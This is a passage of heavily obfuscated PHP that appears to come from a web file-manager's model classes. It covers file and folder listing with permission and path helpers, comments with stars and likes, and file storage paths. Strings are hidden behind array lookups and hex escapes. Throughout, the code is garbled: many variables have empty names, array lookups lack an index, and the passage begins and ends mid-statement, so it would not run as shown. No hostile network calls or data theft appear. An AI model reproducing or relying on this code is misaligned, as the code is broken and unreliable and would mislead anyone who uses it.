$і[$Ԍͻ[361]]; if ($٪[$Ԍͻ[363]] <= 1) { return; } if ($٪[$Ԍͻ[362]] >= 100000) { return; } if (Model($Ԍͻ[433])->get($Ԍͻ[434]) != $Ԍͻ[435]) { return; } $鮼 = str_replace(array($Ԍͻ[53], $Ԍͻ[337], $Ԍͻ[226]), $Ԍͻ[12], $鮼); $鮼 = $Ԍͻ[436] . str_replace($Ԍͻ[50], $Ԍͻ[437], $鮼) . $Ԍͻ[438]; $둛 = $Ԍͻ[439]; $둛 = $둛 . $Ԍͻ[440]; $ɉ = $٪[$Ԍͻ[358]] * ($٪[$Ԍͻ[348]] - 1) . $Ԍͻ[50] . $٪[$Ԍͻ[358]]; $ = $this->_makeOrder(!0); $ = $Ԍͻ[436] . str_replace($Ԍͻ[50], $Ԍͻ[437], $[0]); if (strpos($, $Ԍͻ[441])) { $ = str_replace($Ԍͻ[441], $Ԍͻ[442], $); } else { $ .= $Ԍͻ[443] . $[1]; } $ = array(); foreach ($ as $륰 => $) { $[$Ԍͻ[436] . $륰] = $; } $this->alias($Ԍͻ[444])->field($鮼)->limit($ɉ)->order($); $ = $this->join($둛)->where($)->select(); if ($) { $і[$Ԍͻ[364]] = $; } } protected function _makeOrder($͋ = false) { $ĕ =& $_SERVER[]; $Ő = Model($ĕ[445])->get($ĕ[446]); $̻ = Model($ĕ[445])->get($ĕ[447]); $Ѽ = array($ĕ[448] => $ĕ[449], $ĕ[450] => $ĕ[451]); $џ͏ = array($ĕ[32] => $ĕ[32], $ĕ[80] => $ĕ[80], $ĕ[167] => $ĕ[413], $ĕ[452] => $ĕ[452], $ĕ[453] => $ĕ[454], $ĕ[193] => $ĕ[193], $ĕ[86] => $ĕ[86]); $ = Input::get($ĕ[455], $ĕ[7], $Ő, array_keys($џ͏)); $֊ = Input::get($ĕ[456], $ĕ[7], $̻, array_keys($Ѽ)); if (!in_array($, array_keys($џ͏))) { $ = $ĕ[32]; } if (!in_array($֊, array_keys($Ѽ))) { $ = $ĕ[448]; } if ($ == $ĕ[32]) { } $ށ = $ĕ[457] . $џ͏[$] . $ĕ[53] . $Ѽ[$֊]; $ށ = rtrim(trim($ށ), $ĕ[50]); if ($͋) { return array($ށ, $Ѽ[$֊]); } return $this->order($ށ); } protected function _listDataApplyItem($, $ = false) { $⡡ = array($); $this->_listDataApply($⡡, $); return $⡡[0]; } protected function _listDataApply(&$Н, $҇ = false) { $ը־ =& $_SERVER[]; if (!$Н) { $Н = array(); return; } $ſ = array_to_keyvalue($Н, $ը־[12], $ը־[403]); $ſ = array_unique($ſ); $this->_listSourceCache($Н); if (!$҇) { $this->_listAppendMeta($Н, $ſ); $this->_listAppendFileMeta($Н, $ſ); $this->_listAppendChildren($Н, $ſ); } $this->_listAppendPath($Н); $this->_listAppendAuth($Н); $this->_listAppendSourceInfo($Н, $ſ); $this->_listAppendUser($Н); $this->_listFilterInfo($Н, $҇); $this->_listAppendAuthSecret($Н); } protected function _listSourceCache($ê) { $׋ =& $_SERVER[]; foreach ($ê as $чƌ) { self::$cacheSourceInfo[$׋[458] . $чƌ[$׋[403]]] = $чƌ; } } protected function _listFilterInfo(&$Nj, $ = false) { $߹ݫ =& $_SERVER[]; foreach ($Nj as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$߹ݫ[459] . intval($) . $߹ݫ[460] . $[$߹ݫ[403]]] = $; } unset($); } protected function _listMake(&$) { $꘡ =& $_SERVER[]; $[$꘡[77]] = array(); $[$꘡[76]] = array(); foreach ($[$꘡[364]] as $ה) { $皓 = $ה[$꘡[411]] == 1 ? $꘡[77] : $꘡[76]; $[$皓][] = $ה; } unset($[$꘡[364]]); } protected function _listAppendMeta(&$ר, $) { $ө߲ =& $_SERVER[]; $… = array($ө߲[418] => array($ө߲[419], $)); $ܪ = Model($ө߲[461])->field($ө߲[462])->where($…)->select(); if (!$ܪ) { return; } $͌ = array($ө߲[463], $ө߲[464], $ө߲[442]); $˕⩶ = array(); foreach ($ܪ as $) { if (!isset($˕⩶[$[$ө߲[403]]])) { $˕⩶[$[$ө߲[403]]] = array(); } if (in_array($[$ө߲[95]], $͌)) { continue; } $˕⩶[$[$ө߲[403]]][$[$ө߲[95]]] = $[$ө߲[369]]; } foreach ($ר as &$ҁɱ) { $ҁɱ[$ө߲[465]] = !1; if (isset($˕⩶[$ҁɱ[$ө߲[403]]])) { $ҁɱ[$ө߲[465]] = $˕⩶[$ҁɱ[$ө߲[403]]]; } if ($this->fileIsLock($ҁɱ) && $ҁɱ[$ө߲[414]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $ҁɱ[$ө߲[414]][$ө߲[415]] = AuthModel::authDisable($ҁɱ[$ө߲[414]][$ө߲[415]], $); $ҁɱ[$ө߲[414]][$ө߲[466]][$ө߲[414]] = $ҁɱ[$ө߲[414]][$ө߲[415]]; } } unset($ҁɱ); } protected function _listAppendFileMeta(&$, $е) { $𹎯 =& $_SERVER[]; $؁ = array_to_keyvalue($, $𹎯[12], $𹎯[467]); $؁ = array_filter(array_unique($؁)); if (!$؁) { return; } $ = array($𹎯[468] => array($𹎯[419], $؁)); $ = $𹎯[469]; $ߚ֝ = Model($𹎯[470])->field($)->where($)->select(); $ߚ֝ = array_to_keyvalue($ߚ֝, $𹎯[467]); $ = Model($𹎯[471])->field($𹎯[472])->where($)->select(); $ = $ ? $ : array(); $ = array(); foreach ($ as $՝) { if (!isset($[$՝[$𹎯[467]]])) { $[$՝[$𹎯[467]]] = array(); } $[$՝[$𹎯[467]]][$՝[$𹎯[95]]] = $՝[$𹎯[369]]; } foreach ($ as &$ϑ) { $¯ = $ϑ[$𹎯[467]]; if (!$¯ || !is_array($ߚ֝[$¯])) { continue; } $ƶ = $ߚ֝[$¯]; $ƶ[$𹎯[80]] = $ϑ[$𹎯[80]]; $ƶ[$𹎯[32]] = $ϑ[$𹎯[32]]; if (!isset(self::$cacheFileInfo[$𹎯[473] . $¯])) { self::$cacheFileInfo[$𹎯[473] . $¯] = array_merge(array(), $ƶ); } unset($ߚ֝[$¯][$𹎯[78]]); $ޥ = is_array($[$¯]) ? $[$¯] : array(); $ϑ[$𹎯[163]] = array_merge($ޥ, $ߚ֝[$¯]); if (isset($ϑ[$𹎯[163]][$𹎯[162]])) { $ϑ[$𹎯[162]] = json_decode($ϑ[$𹎯[163]][$𹎯[162]], !0); unset($ϑ[$𹎯[163]][$𹎯[162]]); } } unset($ϑ); } protected function _listAppendSourceInfo(&$Ш厙, $푃) { $ð =& $_SERVER[]; if (!defined($ð[474])) { return; } $ = Model($ð[475])->listData(); $茕 = Model($ð[426])->listData(); $Қ = Model($ð[416])->listData(); $׍ = Model($ð[476])->listSimple(); $ = array_to_keyvalue($, $ð[401]); $ = array_to_keyvalue_group($茕, $ð[78], $ð[427]); $̡ = array_to_keyvalue($Қ, $ð[78]); $ؙ΁ = array_to_keyvalue_group($׍, $ð[403]); foreach ($Ш厙 as &$) { $[$ð[87]] = array($ð[477] => 0, $ð[478] => 0, $ð[479] => 0); if (isset($̡[$[$ð[403]]])) { $[$ð[87]][$ð[480]] = 1; $[$ð[87]][$ð[481]] = $̡[$[$ð[403]]][$ð[32]]; } if (isset($[$[$ð[403]]])) { $[$ð[87]][$ð[482]] = array(); foreach ($[$[$ð[403]]] as $) { $ߣ = $[$]; $[$ð[87]][$ð[482]][] = array($ð[483] => $ߣ[$ð[401]], $ð[421] => $ߣ[$ð[32]], $ð[484] => $ߣ[$ð[485]]); } } if (isset($ؙ΁[$[$ð[403]]])) { $[$ð[87]][$ð[486]] = array(); foreach ($ؙ΁[$[$ð[403]]] as $ͩ) { $[$ð[87]][$ð[486]] = array($ð[487] => $ͩ[$ð[488]], $ð[489] => $ͩ[$ð[490]], $ð[491] => $ͩ[$ð[403]], $ð[492] => $ͩ[$ð[493]], $ð[494] => $ͩ[$ð[495]], $ð[496] => $ͩ[$ð[496]], $ð[497] => $ͩ[$ð[497]]); } } } unset($); return $Ш厙; } protected function _listAppendChildren(&$ݯ, $) { $ی =& $_SERVER[]; $ն = array(); $ܰ܁ = array($ی[202] => 0, $ی[203] => 0); foreach ($ݯ as &$ݛ) { if (!$ݛ[$ی[411]]) { continue; } $ն[] = $ݛ[$ی[403]]; } unset($ݛ); if (!$ն) { return; } $Х = array($ی[498] => array($ی[7], $ն)); $Ⳮ = array($ی[498], $ی[411], $ی[499] => $ی[500]); $ = $this->field($Ⳮ)->where($Х)->group($ی[501])->select(); $ = array(); foreach ($ as $) { $æ = $[$ی[498]]; $² = $[$ی[411]] == $ی[89] ? $ی[203] : $ی[202]; if (!isset($[$æ])) { $[$æ] = array($ی[202] => 0, $ی[203] => 0); } $[$æ][$²] += $[$ی[500]]; } foreach ($ݯ as &$ݛ) { if (!$ݛ[$ی[411]]) { continue; } $Ó = is_array($[$ݛ[$ی[403]]]) ? $[$ݛ[$ی[403]]] : $ܰ܁; $ݛ[$ی[203]] = $Ó[$ی[203]]; $ݛ[$ی[202]] = $Ó[$ی[202]]; unset($ݛ[$ی[413]]); } unset($ݛ); } protected function _listAppendAuth(&$ݻ) { $ =& $_SERVER[]; if (!defined($[474])) { return; } $Е = array(); foreach ($ݻ as $) { if ($[$[412]] == self::TYPE_GROUP) { $Е[] = $[$[403]]; } } if (!$Е) { return; } $ = array_to_keyvalue($ݻ, $[403]); $ı = Model($[502])->getSourceList($Е, $); foreach ($ݻ as $đ => &$) { $[$[414]] = $ı[$[$[403]]]; if (!$[$[414]] && $[$[412]] == self::TYPE_GROUP) { $[$[414]] = Action($[503])->pathGroupAuthMake($[$[504]]); if (!$[$[414]] && !_get($GLOBALS, $[505])) { $[$[195]] = !1; $[$[194]] = !1; } } if ($[$[414]]) { $[$[195]] = AuthModel::authCheckEdit($[$[414]][$[415]]); $[$[194]] = AuthModel::authCheckView($[$[414]][$[415]]); } $this->groupPathDisplay($); } unset($); } public function _listAppendAuthSecret(&$) { $ڄ =& $_SERVER[]; if (Model($ڄ[433])->get($ڄ[506]) != $ڄ[89]) { return; } static $ڭ = false; if (!$ڭ) { $߶ = Model($ڄ[507]); $Ҁ = Model($ڄ[508]); $ڭ = $Ҁ->listData(); $ڭ = array_to_keyvalue($ڭ, $ڄ[403]); $׀ = json_decode(Model($ڄ[433])->get($ڄ[509]), !0); $׀ = array_to_keyvalue($׀, $ڄ[401]); foreach ($ڭ as $ => $ӏ) { $ = $׀[$ӏ[$ڄ[510]]]; if (!$) { $Ҁ->remove($ӏ[$ڄ[401]]); unset($ڭ[$]); continue; } $Ĩ = $߶->listData($[$ڄ[414]]); if (!$Ĩ) { $Ҁ->remove($ӏ[$ڄ[401]]); unset($ڭ[$]); continue; } $ӏ[$ڄ[414]] = $Ĩ; $ӏ[$ڄ[511]] = $; $ӏ[$ڄ[512]] = Model($ڄ[513])->getInfoSimpleOuter($ӏ[$ڄ[452]]); $ڭ[$] = $ӏ; } } $ݿ = defined($ڄ[514]) ? USER_ID : $ڄ[12]; $֫ = array(); $ȏ = $this->_listAppendPath($֫, !0); foreach ($ as $ => &$ӏ) { if (!is_array($ӏ[$ڄ[414]])) { continue; } if ($ӏ[$ڄ[412]] != $ڄ[515]) { continue; } if (isset($ڭ[$ӏ[$ڄ[403]]])) { $ѓ = $ڭ[$ӏ[$ڄ[403]]]; if (!is_array($ӏ[$ڄ[465]])) { $ӏ[$ڄ[465]] = array(); } $ӏ[$ڄ[465]][$ڄ[516]] = $ѓ[$ڄ[510]]; $ӏ[$ڄ[414]][$ڄ[517]] = $ѓ; $ӏ[$ڄ[414]][$ڄ[518]] = $ӏ[$ڄ[519]]; $ӏ[$ڄ[414]][$ڄ[520]] = $ڄ[89]; if ($ѓ[$ڄ[452]] != $ݿ) { $ӏ[$ڄ[414]][$ڄ[415]] = $ӏ[$ڄ[414]][$ڄ[415]] & $ѓ[$ڄ[414]][$ڄ[414]]; } continue; } $ެ‹ = $this->parentLevelArray($ӏ[$ڄ[521]]); $⨻ = array_reverse($ެ‹); foreach ($⨻ as $ => $Ӂ) { if (!isset($ڭ[$Ӂ])) { continue; } $ѓ = $ڭ[$Ӂ]; $ӏ[$ڄ[414]][$ڄ[517]] = $ѓ; if ($ѓ[$ڄ[452]] != $ݿ) { $ӏ[$ڄ[414]][$ڄ[415]] = $ӏ[$ڄ[414]][$ڄ[415]] & $ѓ[$ڄ[414]][$ڄ[414]]; } $ = $ڄ[12]; $Щ = count($ެ‹) - $; for ($ = 0; $ < $Щ; $++) { if (!isset($ȏ[$ެ‹[$]])) { $ = $ڄ[12]; break; } $ = $ . rtrim($ȏ[$ެ‹[$]], $ڄ[8]) . $ڄ[8]; } $ӏ[$ڄ[414]][$ڄ[518]] = rtrim($, $ڄ[8]) . $ڄ[8]; break; } } unset($ӏ); } public function groupPathDisplay(&$) { $׵ =& $_SERVER[]; if ($[$׵[412]] != self::TYPE_GROUP) { return; } $ = Model($׵[522])->getInfo($[$׵[504]]); $˒ = $this->parentLevelArray($[$׵[521]]); $ = $׵[12]; foreach ($˒ as $윋) { $ꆝӈ = Model($׵[522])->getInfo($윋); $ .= $ꆝӈ[$׵[87]][$׵[403]] . $׵[50]; } $[$׵[523]] = $[$׵[498]]; $[$׵[524]] = $[$׵[521]]; $[$׵[525]] = $[$׵[526]]; $[$׵[527]] = $ . $[$׵[87]][$׵[403]]; } protected function _listAppendPath(&$ߑ, $ = false) { $ =& $_SERVER[]; static $ = array(); $ = array(); $ = array(); if ($) { return $; } foreach ($ߑ as &$) { $ɭ = $[$[403]]; if ($[$[411]] == $[89] && $[$[498]] != 0) { $[$ɭ] = $[$[32]]; } if ($[$[411]] == $[89] && $[$[498]] == 0 && !isset($[$ɭ])) { $[$ɭ] = $this->_listAppendPathRoot($, array()); } if (isset($[$[$[521]]])) { continue; } $[$[$[521]]] = !0; $ = $this->parentLevelArray($[$[521]]); foreach ($ as $ => $) { if (isset($[$])) { continue; } if ($ == 0) { $[$] = $this->_listAppendPathRoot($, $); } if ($ != 0) { $[] = $; } } } unset($); $ = array_unique($); if (count($) > 0) { $݌ = array($[418] => array($[419], $)); if (count($) == 1) { $ = $this->sourceInfo($[0]); $Ȉٖ = is_array($) ? array($) : !1; } else { $Ȉٖ = $this->field($[528])->where($݌)->select(); } if (!$Ȉٖ) { $Ȉٖ = array(); } foreach ($Ȉٖ as $ܖɜ) { $[$ܖɜ[$[403]]] = $ܖɜ[$[32]]; } } $̔ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = array(); foreach ($ߑ as &$) { $ = $[$[521]]; $ܺ = $[12]; if (isset($[$])) { $ܺ = $[$]; } else { $ = $this->parentLevelArray($[$[521]]); foreach ($ as $ => $) { if (isset($[$])) { $ܺ .= $[$] . $[8]; } } $[$] = $ܺ; } $ܺ .= $[$[32]]; if ($[$[411]] == $[89]) { $ܺ .= $[8]; } $[$[519]] = str_replace($[529], $[8], $ܺ); if ($[$[498]] == $[190]) { $[$[32]] = trim($[$[$[403]]], $[8]); $[$[519]] = $[$[32]] . $[8]; } if (intval($[$[412]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $, $̔); } } unset($); return $ߑ; } private function _listAppendPathRecycle(&$, $, $ȇ) { $ =& $_SERVER[]; if (!in_array($ȇ, $) && $[$[403]] != $ȇ) { return; } $쩲 = explode($[8], trim($[$[519]], $[8])); $׎ = implode($[8], array_slice($쩲, 2)); $[$[519]] = $[8] . LNG($[530]) . $[8] . ltrim($׎, $[8]); $[$[521]] = $[531] . implode($[50], array_slice($, 1)) . $[50]; if ($[$[403]] == $ȇ) { $[$[521]] = $[531]; $[$[498]] = $[190]; $[$[32]] = LNG($[530]); } $[$[532]] = $[533]; } protected function _listAppendPathRoot(&$ۗ, $) { $ =& $_SERVER[]; $ = $[12]; if ($ۗ[$[412]] == self::TYPE_USER) { if (defined($[474]) && $ۗ[$[504]] == USER_ID) { $ = LNG($[534]); if (!$) { $ۗ[$[32]] = $; } } else { $ = Model($[513])->getInfoSimple($ۗ[$[504]]); $ = LNG($[535]) . $[159] . $[$[32]] . $[536]; } } else { if ($ۗ[$[412]] == self::TYPE_GROUP) { $ = Model($[522])->getInfoSimple($ۗ[$[504]]); $ = $[$[32]]; } else { if ($ۗ[$[412]] == self::TYPE_SYSTEM) { $ = $[537]; } } } $ = $ ? $[8] . $ . $[8] : $[8]; return $; } protected function _listAppendUser(&$) { $͒ =& $_SERVER[]; $ͅ = array_to_keyvalue($, $͒[12], $͒[452]); $ = array_to_keyvalue($, $͒[12], $͒[454]); $͇ = array_merge($ͅ, $); $› = Model($͒[538])->userListInfo($͇); foreach ($ as &$) { $ω = $[$͒[452]]; $[$͒[452]] = $›[$ω] ? $›[$ω] : !1; $ω = $[$͒[454]]; $[$͒[454]] = $›[$ω] ? $›[$ω] : !1; if (isset($[$͒[465]]) && $[$͒[465]][$͒[539]]) { $ǹ = $GLOBALS[$͒[6]][$͒[90]][$͒[540]]; if ($[$͒[465]][$͒[541]] <= time() - $ǹ) { $this->metaSet($[$͒[403]], $͒[539], null); $this->metaSet($[$͒[403]], $͒[541], null); unset($[$͒[465]][$͒[539]]); continue; } $نδ = $[$͒[465]][$͒[539]]; $[$͒[465]][$͒[542]] = Model($͒[538])->getInfoSimpleOuter($نδ); } } unset($); } public function parentLevelArray($ݣ̽) { $ȁ =& $_SERVER[]; $ݣ̽ = explode($ȁ[50], trim($ݣ̽, $ȁ[50])); return array_remove_value($ݣ̽, $ȁ[190]); } public function listAll($ؤ) { $ =& $_SERVER[]; $Ɠ = $this->sourceInfo($ؤ); $ = array($[543] => array($[544], $Ɠ[$[521]] . $ؤ . $[545]), $[546] => 0); $ = $[547]; $ = "\114\105\x46\x54\40\112\x4f\x49\x4e\40{$this->tablePrefix}\151\x6f\137\x66\x69\x6c\145\x20\x66\x69\x6c\145\x20\x6f\156\40\x73\x6f\165\162\x63\145\x2e\146\151\154\x65\x49\x44\40\x3d\40\146\x69\x6c\x65\56\x66\151\154\145\111\104"; $ = $this->alias($[444])->field($)->where($)->join($)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $[403]); $Ʋ = "\57{$Ɠ[$[32]]}\57"; $Ʋ = $Ʋ == $[529] ? $[8] : $Ʋ; $ = array(); foreach ($ as $֫ => $Ю) { $ˆ = $this->parentLevelArray($Ю[$[521]]); array_shift($ˆ); $ = $Ʋ; for ($ = 0; $ < count($ˆ); $++) { $ .= $[$ˆ[$]][$[32]] . $[8]; } $ .= $Ю[$[32]]; if ($Ю[$[411]]) { $ .= $[8]; } $ = str_replace($[529], $[8], $); $ = str_replace($[529], $[8], $); $ = array($[422] => str_replace($[529], $[8], $), $[548] => intval($Ю[$[411]]), $[87] => $this->pathInfoFilter($Ю)); if (!$Ю[$[411]]) { $[$[467]] = $Ю[$[467]]; $[$[88]] = $Ю[$[78]]; } $[] = $; } return $; } } goto fŤÍ; D: class CommentModel extends ModelBase { protected $tableName = "\x63\157\x6d\155\145\156\x74"; protected $tableMeta = array("\164\141\x62\x6c\x65\116\141\x6d\x65" => "\143\157\x6d\x6d\145\x6e\164\137\155\x65\164\x61", "\155\145\x74\x61\x46\x69\145\154\144" => "\x63\x6f\x6d\x6d\145\156\x74\x49\x44"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($㹷) { $κ =& $_SERVER[]; if ($㹷[$κ[1838]]) { $ۅ = $this->where(array($κ[1839] => $㹷[$κ[1838]]))->find(); if (!$ۅ || $ۅ[$κ[412]] != $㹷[$κ[412]] || $ۅ[$κ[504]] != $㹷[$κ[504]]) { return !1; } $this->where(array($κ[1839] => $㹷[$κ[1838]]))->setAdd($κ[1840], 1); } $㹷[$κ[1841]] = 0; $㹷[$κ[1840]] = 0; $㹷[$κ[743]] = 1; return $this->add($㹷); } public function commentCount($튻, $, $Ŏ = false) { $ʟá =& $_SERVER[]; if (!$튻) { return array(); } if (is_string($튻) || is_int($튻)) { $튻 = array($튻); } $ٻ = array($ʟá[504], $ʟá[1842] => $ʟá[500]); $ԼҊ = array($ʟá[504] => array($ʟá[7], $튻), $ʟá[412] => $); if ($Ŏ) { $ԼҊ[$ʟá[1642]] = $Ŏ; } $ҟ = $this->field($ٻ)->where($ԼҊ)->group($ʟá[504])->select(); return array_to_keyvalue($ҟ, $ʟá[504], $ʟá[500]); } public function starTarget($򍎻, $) { $ =& $_SERVER[]; $ĝ = $򍎻 + self::TYPE_STAR_OFFSET; $П = array($[1642] => USER_ID, $[412] => $ĝ, $[504] => $); $蒥 = $this->where($П)->find(); if ($蒥) { return $this->where(array($[401] => $蒥[$[401]]))->delete(); } $ = array($[1838] => 0, $[1642] => USER_ID, $[743] => 1, $[748] => $[12], $[412] => $ĝ, $[504] => $, $[1841] => 0, $[1840] => 0); return $this->add($); } public function starTargetCount($, $ν) { $ƽ =& $_SERVER[]; $ɿі = $ν + self::TYPE_STAR_OFFSET; $Պ܉ = $this->commentCount($, $ɿі); $ա = $this->commentCount($, $ɿі, USER_ID); return array($ƽ[1843] => $Պ܉, $ƽ[1844] => $ա); } public function starTargetUserList($, $) { $ =& $_SERVER[]; $ߦ♥ = $ + self::TYPE_STAR_OFFSET; $ = array($[504] => $, $[412] => $ߦ♥); $ʿժ = $this->where($)->count(); $ = array($[250] => $ʿժ, $[1845] => array()); if (!$ʿժ) { return $; } $ = $this->field($[1642])->where($)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1642]); $[$[1845]] = Model($[513])->userListInfo($); return $; } public function prasiseUserList($迒) { $ٶ =& $_SERVER[]; $ƣǠ = array($ٶ[1846] => $迒); $ = $this->where($ƣǠ)->find(); $睃 = _get($, $ٶ[1841], 0); $Ͼ = array($ٶ[250] => $睃, $ٶ[1845] => array()); if (!$睃) { return $Ͼ; } $󇩪 = Model($ٶ[1847])->field($ٶ[1642])->where($ƣǠ)->limit(500)->select(); $󇩪 = array_to_keyvalue($󇩪, $ٶ[12], $ٶ[1642]); $Ͼ[$ٶ[1845]] = Model($ٶ[513])->userListInfo($󇩪); return $Ͼ; } public function remove($֚) { $ =& $_SERVER[]; $썍 = array($[1839] => $֚); $ = $this->where($썍)->find(); if ($[$[1838]]) { $this->where(array($[1839] => $[$[1838]]))->setAdd($[1840], -1); } return $this->where($썍)->delete(); } public function edit($ׂن, $ߜ) { $ =& $_SERVER[]; $ = array($[1839] => $ׂن); return $this->where($)->save(array($[1848] => $ߜ)); } public function prasise($ɜ) { $ =& $_SERVER[]; $栀 = Model($[1849]); $ = array($[1839] => $ɜ, $[1633] => USER_ID); $ = $栀->where($)->find(); if (!$) { $栀->add($); $Ğ = $this->where(array($[1839] => $ɜ))->setAdd($[1841], 1); } else { $栀->where($)->delete(); $Ğ = $this->where(array($[1839] => $ɜ))->setAdd($[1841], -1); } return $Ğ; } public function targetInfo($Θ, $Ó) { $ࡎ =& $_SERVER[]; $ = array($ࡎ[580] => $Θ, $ࡎ[581] => $Ó); $ = $this->where($)->count(); $ = "\x52\111\x47\x48\124\40\x4a\117\111\x4e\x20{$this->tablePrefix}\x63\x6f\x6d\x6d\x65\156\x74\137\x70\x72\141\151\x73\x65\x20\163\x74\x61\162\40\157\156\40\x63\157\x6d\155\x65\x6e\x74\x2e\143\157\x6d\x6d\x65\156\164\x49\x44\x20\x3d\40\163\164\141\x72\56\x63\157\155\155\x65\156\x74\111\104"; $ = $this->alias($ࡎ[349])->where($)->join($, $ࡎ[1850])->count(); $҃ = array($ࡎ[1851] => $, $ࡎ[1852] => $); return $҃; } public function listData($У) { $ք =& $_SERVER[]; if (isset($У[$ք[1853]])) { if ($У[$ք[1853]]) { $У[$ք[1846]] = array($ք[1001], intval($У[$ք[1853]])); } unset($У[$ք[1853]]); } if (isset($У[$ք[1854]])) { if ($У[$ք[1854]]) { $У[$ք[1846]] = array($ք[998], intval($У[$ք[1854]])); } unset($У[$ք[1854]]); } return $this->_listData($У); } private function _listData($ԫ) { $ =& $_SERVER[]; $Ǜ = $this->where($ԫ)->_makeOrder()->selectPage(100); $this->_listAppendParent($Ǜ[$[364]]); $this->_listAppendUser($Ǜ[$[364]]); $this->_listAppendMeta($Ǜ[$[364]]); return $Ǜ; } private function _makeOrder() { $« =& $_SERVER[]; $᝟ = array($«[1841], $«[1840], $«[193]); $ = Input::get($«[455], $«[7], $«[424], $᝟); $޽ = Input::get($«[456], $«[7], $«[1635], array($«[1855], $«[451])); $ = $ . $«[53] . $޽; return $this->order($); } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ы = array_unique(array_to_keyvalue($, $[12], $[1838])); $ы = array_remove_value($ы, $[190]); if (!$ы) { return; } $׮ = $this->where(array($[1839] => array($[7], $ы)))->select(); $׮ = array_to_keyvalue($׮, $[1846]); foreach ($ as &$) { if (isset($׮[$[$[1838]]])) { $[$[1856]] = $׮[$[$[1838]]]; } } unset($); } private function _listAppendUser(&$) { $ϩ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $ϩ[12], $ϩ[1642])); $ = array_remove_value($, $ϩ[190]); if (count($) == 0) { return; } foreach ($ as $܈) { if (isset($܈[$ϩ[1856]])) { $[] = $܈[$ϩ[1856]][$ϩ[1642]]; } } $ = Model($ϩ[538])->userListInfo($); foreach ($ as &$܈) { $܈[$ϩ[594]] = $[$܈[$ϩ[1642]]]; if (isset($܈[$ϩ[1856]])) { $܈[$ϩ[1856]][$ϩ[594]] = $[$܈[$ϩ[1856]][$ϩ[1642]]]; } } unset($܈); } private function _listAppendMeta(&$̊) { $ =& $_SERVER[]; $Šˆ = array_unique(array_to_keyvalue($̊, $[12], $[1846])); $Šˆ = array_remove_value($Šˆ, $[190]); if (!$Šˆ) { return; } foreach ($̊ as $ǟგ) { if (isset($ǟგ[$[1856]])) { $Šˆ[] = $ǟგ[$[1856]][$[1846]]; } } $ޒ = $this->metaList($Šˆ); if (!$ޒ) { return !1; } foreach ($̊ as &$ǟგ) { $ǟგ[$[465]] = $ޒ[$ǟგ[$[1846]]]; if (isset($ǟგ[$[1856]])) { $ǟგ[$[1856]][$[465]] = $ޒ[$ǟგ[$[1856]][$[1846]]]; } } unset($ǟგ); } private function metaList($Ʌ) { $ȇ =& $_SERVER[]; if (!$Ʌ) { return array(); } $஺ = array($ȇ[1846] => array($ȇ[7], $Ʌ)); $” = Model($ȇ[1857])->where($஺)->select(); $” = array_to_keyvalue_group($”, $ȇ[1846]); foreach ($” as $Ȼ => $) { $捚 = array(); foreach ($ as $뛀) { $捚[$뛀[$ȇ[95]]] = $뛀[$ȇ[369]]; } $”[$Ȼ] = $捚; } return $” ? $” : array(); } } class FileContentModel extends ModelBase { protected $tableName = "\151\157\137\x66\151\154\145\x5f\x63\x6f\156\x74\145\156\x74\x73"; protected $dataAuto = array(array("\x63\x72\145\141\164\x65\124\151\x6d\x65", "\164\151\155\145", "\151\x6e\x73\x65\162\x74", "\x66\165\156\x63\164\151\x6f\156")); } class FileModel extends ModelBase { protected $tableName = "\x69\x6f\137\x66\151\154\145"; protected $tableMeta = array("\164\141\142\x6c\x65\x4e\141\x6d\145" => "\151\157\137\x66\151\154\x65\x5f\x6d\x65\x74\141", "\155\x65\x74\141\x46\x69\x65\154\144" => "\x66\151\154\145\x49\104"); public function fileInfo($厶) { $Һ =& $_SERVER[]; static $݉ = array(); if (!isset($݉[$厶])) { $𥈖 = $Һ[1858]; $ќ = Model($Һ[470])->field($𥈖)->where(array($Һ[468] => $厶))->find(); $݉[$厶] = $ќ; } return $݉[$厶]; } public function addFileByContent($ = '', $迻 = '') { $ѣ =& $_SERVER[]; $Ȝ = TEMP_PATH . $ѣ[1859]; if (!is_dir($Ȝ)) { mk_dir($Ȝ); } $ = $Ȝ . $ѣ[1860] . rand_string(16); file_put_contents($, $); $؇鴲 = $this->addFile($, $迻, !0); if (file_exists($)) { @unlink($); } return $؇鴲; } public function createFileName($Ɩ, $ձ = false, $ɯ = false) { $ɦԣ =& $_SERVER[]; $ = IO::init($ɦԣ[8]); $ַé̫ = $this->makeFilePath($Ɩ, $, $ձ, $ɯ); $зɖ = $->pathFather($ַé̫); static $ڷ = false; $ = $ɦԣ[1861] . md5($зɖ); if (!$ڷ && !Cache::get($)) { $ڷ = !0; $ʌ = IO::mkdir($зɖ); if (!IO::exist($ʌ . $ɦԣ[790])) { IO::mkfile($ʌ . $ɦԣ[790]); } Cache::set($, 1, 3600 * 2); } return $ַé̫; } public function makeFilePath($շ, $, $ = false, $ʍ = false) { $ =& $_SERVER[]; $ = Model($[763])->get($[1862]); $ = KodIO::defaultIO() . date($[1863]); $ = $ . rand_string(5) . short_id(100); $շ = str_replace($[8], $[11], KodIO::clear($շ)); $ = $->ext($շ); if (!$շ) { $ = $[1864]; } switch ($) { case $[1865]: $ = $ . $[10] . $->ext($շ); if ($ == $[1803]) { $ .= $[1535]; } break; case $[1866]: $ۏ = Model($[763])->get($[764]); $ = substr(md5($[765] . $ۏ . date($[741])), 0, 8); $֯ۯ = KodIO::defaultDriver(); $ = $[1214] . $֯ۯ[$[401]] . $[410] . date($[1867]) . $ . $[8]; if ($ == $[1803]) { $շ .= $[1535]; } $鐤 = $[1868] . $ . $շ; CacheLock::lock($鐤); $ = $ . $շ; if (IO::exist($ . $շ)) { $ = substr($շ, 0, strlen($շ) - strlen($)); $΢ȥ = $ʍ ? substr($ʍ, 0, 5) : ($ ? substr($, 0, 5) : rand_string(5)); $ = $ . $ . $΢ȥ . $[10] . $; } if 